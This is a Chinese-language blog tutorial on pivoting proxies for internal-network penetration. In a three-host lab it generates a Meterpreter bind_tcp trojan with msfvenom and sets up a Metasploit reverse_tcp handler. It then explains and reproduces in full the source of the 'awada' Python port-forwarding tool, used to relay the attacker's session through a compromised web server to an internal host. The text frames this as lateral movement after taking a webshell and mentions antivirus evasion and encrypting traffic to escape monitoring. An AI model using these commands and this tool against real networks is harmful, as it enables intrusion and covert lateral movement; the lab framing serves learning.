前言
代理的官方描述:
代理是一种网络服务,充当客户端与服务器之间的中间人,将客户端的请求转发给服务器,然后将服务器的响应返回给客户端。代理服务器可以用于多种目的,如加强网络安全、实现内容过滤、提高性能等。
内网渗透代理:
内网渗透代理通常是指在进行网络渗透测试或攻击内部网络时使用的代理工具。这种代理工具可以用于在内部网络中进行侦察、渗透或横向移动,并且可以帮助攻击者隐藏其真实的 IP 地址和轨迹(比如可以层层代理增大溯源难度)。这些工具通常会提供一些特定的功能,如端口转发、流量劫持、数据包重定向等,以便进行更深入的渗透测试或攻击活动。
通俗的来说代理就是对于数据的转发,本质上就是从一个主机端口发数据给另一个主机端口。在内网渗透中,代理所解决的问题主要是网络不可达的问题,下面将更加详细展开内网代理的原因,内网代理的代码实现,以及实验验证。
本文学习目标:
1.深入理解代理工作的最核心原理
2.开始写自己的代理程序,从而更好的免杀和调优。
一、为什么内网渗透需要代理?
这里以攻击一个企业网站为例:在攻击者顺利拿下网站webshell并成功提权后,攻击者会想要扩大自己的攻击范围,获得更多网络资产(即拿下企业内网中其他不对外开放的主机,也就是横向移动),只获得webserver这台服务器的资产已经满足不了攻击者了 😃 。
但是由于除webserver外其他主机实际上都是无法通过外网直接访问,此时攻击者如果想要顺利访问到内网中的其他主机,那必须要借助于webserver这台既能被外网访问,又能访问内网的主机,所以解决方案便是攻击者利用这台webserver当作访问内网中其他主机的代理(也可以把webserver这台主机理解成中间人,类似burpsuite, 不过burpsuite是http中间人,我们这里要实现的是TCP中间人)。
二、代理实验准备
实验场景
这里我们将针对一个具体场景进行代理实现,如下:
假设我们已经取得了网站主机B的控制权,攻击主机为A,而在内网中的主机为C, 攻击主机A不能直接访问内网中的主机C,但是可以通过B的代理访问到C,所以代理程序将运行在B中,数据流量走向为A—>B—>C,然后C—>B—>A。
三台主机中运行的程序为:
A:监听程序(这里即为msf的meterpreter,主机为kali 2023)
B:代理程序(我们用于转发数据包的程序, 主机为win11)
C:木马程序(这里生成的时候用到的是正向连接木马,但是msf中的meterpreter是反向连接, 主机为windows server 2012)
三台主机的ip为:
A:192.168.0.104
B:192.168.0.109 和 192.168.93.1 (两张网卡)
C:192.168.93.141
子网掩码均为255.255.255.0
**我们的目标为:**从A打到C
前期工作
生成木马:(针对主机C)
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.93.141 lport=6666 -f exe -o test.exe
将生成的木马投掷到C中(真实渗透的时候需要拿到域控写入,或者利用其他漏洞写入。)
双击开启木马,并通过cmd查看是否已经正常运行:
打开监听:(针对主机A)
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.104
set lport 7777
run
注意,第三行需要选择反向连接监听,这是因为等会我们的代理将会主动连接我们的meterpreter还有木马
三、代理源码解析
关于代理的代码实现在github上有许多(如lcx 和 awada),这里我们使用的是awada, 链接如下:
https://github.com/llxxs/awada
末尾附上其源码,这个项目虽然星不太多,但我觉得是一个很好的入门项目(比lcx要舒服一些)。
项目用法
用法1:awada.py -listen 8000 8001,此时本机端口8000与8001可以相互通信
用法2:awada.py -tran 80 8.8.8.8 80,此时访问本机端口80的数据会重定向到8.8.8.8:80端口
用法3:awada.py -slave 10.1.1.1 8000 127.0.0.1 3389,此时把127.0.0.1:3389反弹到10.1.1.1:8000上
关键函数
关键函数1
def connToConn(reverseIp,reversePort,targetIp,targetPort):
reverseAddress = (reverseIp, reversePort)
targetAddress = (targetIp, targetPort)
while True:
data = b""
reverseSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
targetSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print("Connect To %s:%d" % reverseAddress)
reverseSocket.connect(reverseAddress)
print("Connect Ok!")
except:
print("Connect Failed!")
exit()
while True:
try:
if select.select([reverseSocket],[],[]) == ([reverseSocket],[],[]):
data = reverseSocket.recv(20480)
if len(data) != 0:
break
except:
continue
while True:
try:
print("Connect ot ",targetAddress)
targetSocket.connect(targetAddress)
print("Connect ok!")
except:
print("TargetPort Is Not Open")
reverseSocket.close()
exit()
try:
targetSocket.send(data)
except:
continue
break
print("All Connect Ok!")
try:
multiprocessing.Process(target=transmit,args=((reverseSocket,reverseAddress,targetSocket,targetAddress),)).start()
print("Create Thread Success!")
#time.sleep(1)
except:
print("Create Thread Failed!")
exit()
connToConn函数完成的主要工作为创建两个socket连接,其中一个连接A,另一个连接C,当连接主机A以后会进行等待来自A发来的消息,当收到不为空的消息的时候,他就会跳出循环(15-22行),这里用到的是select函数,这是一个python模块,熟悉IO多路复用的道友们应该知道,他具体实现的功能就是由操作系统核心来返回哪个IO准备好了,通俗一点就是当A发来消息的时候,select的rlist会返回:A来消息了,快处理把!
而当从A收到消息并跳出循环之后,会接着连接主机C,连接主机C成功以后会把从A收到的第一条消息直接转发给C,然后开一个新进程来执行transmit函数,完成后续的转发操作
关键函数2
def transmit(conns,lock=None):
stopFlag = {'flag':False}
connA, addressA, connC, addressC = conns
threading.Thread(target=subTransmit,args=((connA,addressA),(connC,addressC), stopFlag)).start()
while not stopFlag['flag']:
time.sleep(1)
print("%s:%d" % addressA,"<->","%s:%d" % addressB," Closed")
在这个函数中,connA就是代理主机B与攻击A建立连接的套接字,而connC为代理主机B与内网主机C建立连接的套接字。而addressA 和addressC 分别为攻击机A和内网主机C的地址(ip, port)
之后会开一个新的线程来执行subTransmit函数,并传入上面的信息。
stopFlag是用来进行通信的,如果stopFlag为True,则意味着两端连接已关闭(不过我觉得用队列更好一些)
关键函数3
def subTransmit(recvier,sender,stopflag):
theRecvier = recvier[0]
theSender = sender[0]
verbose = False
i = 0
recvierData = b""
senderData = b""
if '-v' in sys.argv:
verbose = True
while not stopflag['flag']:
data = b""
try:
rlist, wlist, elist = select.select([theRecvier,theSender],[theRecvier,theSender],[],0.1)
if len(rlist) != 0:
for socketer in rlist:
data = socketer.recv(20480)
if len(data) == 0:
raise Exception('连接已断开')
if socketer == theRecvier:
senderData += data
address = recvier[1]
else:
recvierData += data
address = sender[1]
bytes = len(data)
if verbose:
print("Recv From %s:%d" % address," %d bytes" % bytes)
if len(senderData) != 0:
bytes = len(senderData)
if verbose:
print("Send to %s:%d" % sender[1]," %d bytes" % bytes)
theSender.send(senderData)
senderData = b""
if len(recvierData) != 0:
bytes = len(recvierData)
if verbose:
print("Send to %s:%d", recvier[1], " %d bytes" % bytes)
theRecvier.send(recvierData)
recvierData = b""
except Exception as e:
stopflag['flag'] = True
try:
theRecvier.shutdown(socket.SHUT_RDWR)
theRecvier.close()
except:
pass
try:
theSender.shutdown(socket.SHUT_RDWR)
theSender.close()
except:
pass
print("Closed Two Connections")
这个函数便是主要完成后续转发任务的函数,利用select模块,当消息准备就绪时(收到消息时),判断是主机A还是主机C发来的,如果是主机A发来的,那么就转发给主机C,如果是主机C发来的,那么就转发给主机A;如果执行报错那么就关闭socket。所以整个函数的关键代码就在于13行,所以这里不得不聊一下select模块
select模块
select模块提供了一种多路复用的机制,允许程序监视多个文件描述符(例如套接字)是否处于可读、可写或发生错误状态,而无需阻塞线程。
select.select 方法使用三个列表作为参数,这些列表分别包含了要监视的可读、可写和错误状态的文件描述符。
具体来说,这三个参数分别是:
rlist
:一个包含了要监视可读状态文件描述符的列表。wlist
:一个包含了要监视可写状态文件描述符的列表。elist
:一个包含了要监视错误状态文件描述符的列表。
当调用select.select
方法时,它会阻塞程序直到其中一个文件描述符准备好进行读取、写入或者发生错误,或者直到指定的超时时间过去。
针对我们的第13行代码而言
rlist, wlist, elist = select.select([theRecvier,theSender],[theRecvier,theSender],[],0.1)
它的参数分别是:
[theRecvier, theSender]
:要监视的可读状态文件描述符的列表,这里包含了theRecvier
和theSender
。[theRecvier, theSender]
:要监视的可写状态文件描述符的列表,同样包含了theRecvier
和theSender
。[]
:要监视的错误状态文件描述符的列表为空,意味着不监视错误状态。0.1
:超时时间为0.1秒。
elist为空是直接不监视错误状态,在实际应用中,如果对错误状态不感兴趣或者知道特定情况下不会发生错误,可以选择不监视错误状态,不过我们毕竟在外面套上了try except,所以监视与否并没有什么大碍。
对于wlist,可以看出来代码里面没有用到可写就绪的wlist,这是因为我们都是些短消息传递(频繁IO操作),如果再加入一些大文件传递,那么这个代码就需要优化了,不然很可能会导致数据丢失(当套接字的缓冲区已满时,继续进行数据发送操作可能会导致缓冲区溢出,这个之前我用python的meterpreter做实验的时候有时会遇到)
而rlist则是最关键的一个列表,当其中套接字准备就绪时,我们即可以将收到的消息转发出去,也是这个函数功能的核心。
四、实验记录
如果你对于代理的原理不想深入了解,想要快速进行实验,可以跳过第三章,直接进行下面的操作
在完成前期工作以后,我们已经在攻击机A和内网主机C中分别开了一个以Server方式运行的程序,现在我们所要做的就是在这两个程序中构建起桥梁,也就是在主机B中开启代理。
开启代理
打开awada.py所在文件夹,进入cmd后执行如下命令
python awada.py -slave 192.168.0.104 7777 192.168.93.141 6666
这条命的意思就是会首先连接192.168.0.104 的7777端口,如果连接成功并收到了消息,那么将会连接192.168.93.141的6666端口,并把刚刚收到的消息传递给它,之后便开始监听,利用select模块,当从A主机接收到消息便转发给C,而当从C主机接收到消息便转发给A。
执行过后出现以下页面:
msf中上线成功
五、实验结果分析
可以看到,连接我们的是192.168.0.109的53488端口,我们可以查询一下端口连接情况,如下图所示
至此已经非常清晰,
A到B到C流程:
A主机(192.168.0.104)的7777端口 发送消息给B主机(192.168.0.109与192.168.93.1)的53488端口,然后B主机再转发给C主机(192.168.93.141)的6666端口
C到B到A流程:
C主机(192.168.93.141)的6666端口 发送消息给B主机(192.168.0.109与192.168.93.1)的53489端口,然后B主机再转发给A主机(192.168.0.104)的7777端口
在最后给各位看官留一个思考题:
对于在中间左右逢源的B主机(代理主机),192.168.0.109:1234端口和192.168.93.1:1234端口是不是一个端口呢?如果分别绑定这两个端口是否会出现端口冲突?如果不冲突两者是否能够通信?
总结
1.具体设计了一个代理的实验,完成了对于内网渗透中代理工作原理的复现,之后我们将在一个更真实的虚拟环境中搭建内网,并利用其他代理工具进行实验。
2.对于代理的源码我改动了一些我觉得不太对劲的地方,然后打包成了exe,直接放在这里了(用法跟上面提到的一致)
3.之后我觉得如果要增加这个代理的可用性需要进一步进行优化,特别是对于wlist的处理,我在测试的时候有时会缓存溢出;除此之外,还可以加密传输的数据,比如先交换一下RSA密钥,然后传递AES密钥,然后再加密传输数据,从而避免被流量监控发现。
我想这第一篇博客就先写这些吧,如果有哪些不妥之处还望各位大佬们指教 : )
附录:python代理源码
#!/usr/local/bin/python3
#coding:utf-8
import sys
import socket
import time
import multiprocessing
import threading
import select
def usage():
print('AWADA port forward tools')
print('-h: help')
print('-v: verbose')
print('-listen portA,portB: listen two ports and transmit data')
print('-tran localport,targetip,targetport: listen a local port and transmit data from localport to target:targetport')
print('-slave reverseip,reverseport,targetip,targetport: connect reverseip:reverseport with targetip:targetport')
def subTransmit(recvier,sender,stopflag):
theRecvier = recvier[0]
theSender = sender[0]
verbose = False
i = 0
recvierData = b""
senderData = b""
if '-v' in sys.argv:
verbose = True
while not stopflag['flag']:
data = b""
try:
rlist, wlist, elist = select.select([theRecvier,theSender],[theRecvier,theSender],[],0.1)
if len(rlist) != 0:
for socketer in rlist:
data = socketer.recv(20480)
if len(data) == 0:
raise Exception('连接已断开')
if socketer == theRecvier:
senderData += data
address = recvier[1]
else:
recvierData += data
address = sender[1]
bytes = len(data)
if verbose:
print("Recv From %s:%d" % address," %d bytes" % bytes)
if len(senderData) != 0:
bytes = len(senderData)
if verbose:
print("Send to %s:%d" % sender[1]," %d bytes" % bytes)
theSender.send(senderData)
senderData = b""
if len(recvierData) != 0:
bytes = len(recvierData)
if verbose:
print("Send to %s:%d", recvier[1], " %d bytes" % bytes)
theRecvier.send(recvierData)
recvierData = b""
except Exception as e:
stopflag['flag'] = True
try:
theRecvier.shutdown(socket.SHUT_RDWR)
theRecvier.close()
except:
pass
try:
theSender.shutdown(socket.SHUT_RDWR)
theSender.close()
except:
pass
print("Closed Two Connections")
def transmit(conns,lock=None):
stopFlag = {'flag':False}
connA, addressA, connB, addressB = conns
threading.Thread(target=subTransmit,args=((connA,addressA),(connB,addressB), stopFlag)).start()
while not stopFlag['flag']:
time.sleep(1)
print("%s:%d" % addressA,"<->","%s:%d" % addressB," Closed")
def bindToBind(portA,portB):
socketA = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socketA.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
socketB = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socketB.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
print("Listen Port %d." % portA)
socketA.bind(('0.0.0.0',portA))
socketA.listen(10)
print("Listen Port Ok!")
except:
print("Listen Port Failed!")
exit()
try:
print("Listen Port %d." % portB)
socketB.bind(('0.0.0.0',portB))
socketB.listen(10)
print("Listen Port Ok!")
except:
print("Listen port Failed!")
exit()
while(True):
print("Wait For Connection At Port %d" % portA)
connA, addressA = socketA.accept()
print("Accept Connection From %s:%d" % addressA)
print("Wait For Another Connection At Port %d" % portB)
connB, addressB = socketB.accept()
print("Accept Connecton From %s:%d" % addressB)
multiprocessing.Process(target=transmit,args=((connA,addressA,connB,addressB),)).start()
time.sleep(1)
print("Create Thread Ok!")
def bindToConn(port,target,targetPort):
socketA = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socketA.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
localAddress = ('0.0.0.0',port)
targetAddress = (target,targetPort)
try:
print("Listen Port %d." % port)
socketA.bind(localAddress)
socketA.listen(10)
print("Listen Port Ok!")
except:
print("Listen Port Failed!")
exit()
while True:
print("Wait For Connection At Port %d" % localAddress[1])
connA, addressA = socketA.accept()
print("Accept Connection From %s:%d" % addressA)
targetConn = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
targetConn.settimeout(5)
try:
targetConn.connect(targetAddress)
multiprocessing.Process(target=transmit,args=((connA,addressA,targetConn,targetAddress),)).start()
time.sleep(1)
print("Create Thread Ok!")
except TimeoutError:
print("Connect To %s:%d Failed!" % targetAddress)
connA.close()
exit()
except:
print("Something wrong!")
connA.close()
exit()
def connToConn(reverseIp,reversePort,targetIp,targetPort):
reverseAddress = (reverseIp, reversePort)
targetAddress = (targetIp, targetPort)
while True:
data = b""
reverseSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
targetSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print("Connect To %s:%d" % reverseAddress)
reverseSocket.connect(reverseAddress)
print("Connect Ok!")
except:
print("Connect Failed!")
exit()
while True:
try:
if select.select([reverseSocket],[],[]) == ([reverseSocket],[],[]):
data = reverseSocket.recv(20480)
if len(data) != 0:
break
except:
continue
while True:
try:
print("Connect ot ",targetAddress)
targetSocket.connect(targetAddress)
print("Connect ok!")
except:
print("TargetPort Is Not Open")
reverseSocket.close()
exit()
try:
targetSocket.send(data)
except:
continue
break
print("All Connect Ok!")
try:
multiprocessing.Process(target=transmit,args=((reverseSocket,reverseAddress,targetSocket,targetAddress),)).start()
print("Create Thread Success!")
#time.sleep(1)
except:
print("Create Thread Failed!")
exit()
def main():
global verbose
if '-h' in sys.argv:
usage()
exit()
if '-listen' in sys.argv:
index = sys.argv.index('-listen')
try:
portA = int(sys.argv[index+1])
portB = int(sys.argv[index+2])
assert portA != 0 and portB != 0
bindToBind(portA,portB)
except:
print("Something Wrong")
exit()
elif '-tran' in sys.argv:
index = sys.argv.index('-tran')
try:
port = int(sys.argv[index+1])
target = sys.argv[index+2]
targetPort = int(sys.argv[index+3])
assert port!=0 and targetPort!=0
bindToConn(port,target,targetPort)
except:
print("Something Wrong")
exit()
elif '-slave' in sys.argv:
index = sys.argv.index('-slave')
try:
reverseIp = sys.argv[index+1]
reversePort = int(sys.argv[index+2])
targetIp = sys.argv[index+3]
targetPort = int(sys.argv[index+4])
connToConn(reverseIp,reversePort,targetIp,targetPort)
except:
print("Something Wrong")
exit()
usage()
if __name__ == '__main__':
main()